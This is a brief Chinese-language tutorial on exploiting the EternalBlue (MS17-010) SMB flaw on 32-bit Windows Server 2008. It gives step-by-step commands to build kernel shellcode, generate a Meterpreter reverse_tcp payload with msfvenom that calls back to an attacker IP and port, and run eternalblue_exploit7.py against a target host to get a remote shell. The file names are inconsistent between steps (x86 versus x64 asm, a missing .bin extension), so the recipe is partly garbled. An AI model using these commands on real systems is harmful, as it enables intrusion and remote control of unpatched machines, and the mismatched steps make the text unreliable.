ms17010对32位系统的利用

前言

metasploit 自带的永恒之蓝攻击模块可以直接打windows2008 64位和win 7 64位的系统，但对于32位的系统无法直接攻击，对于windows 2003 和win10的利用需要收集命令管道或者系统账号等条件的限制

攻击windows2008 x86系统

准备ms17-010的相关poc
下载eternalblue_kshellcode_x86.asm
下载eternalblue_exploit7.py
下载链接
1.编译汇编文件eternalblue_kshellcode_x64.asm，这是漏洞的利用代码，默认效果是蓝屏，代码后面可以另外加shellcode

编译汇编文件
nasm -f bin eternalblue_kshellcode_x64.asm

2.使用msfvenom 生成shellcode

msfvenom  -p windows/meterpreter/reverse_tcp  -f raw -o shell.bin  EXITFUNC=thread lhost=10.82.115.174 lport=4444

EXITFUNC指定这个payload的退出函数
3.将shellcode代码附加到漏洞poc中，组装成专用shellcode
cat eternalblue_kshellcode_x86 shell.bin > shellcode.bin

4.在msf上使用exploit/multi/handler模块监听后(注意:payload要和shellcode中的一样)，执行漏洞利用程序eternalblue_exploit7.py
python2的环境运行，eternalblue_exploit7用于低版本的windows，如:Windows 7/2008，eternalblue_exploit8用于高版本的windows，如:Windows 8/2012

python eternalblue_exploit7.py 172.31.28.17 ./shellcode/shellcode.bin 

利用程序显示done之后，表示成功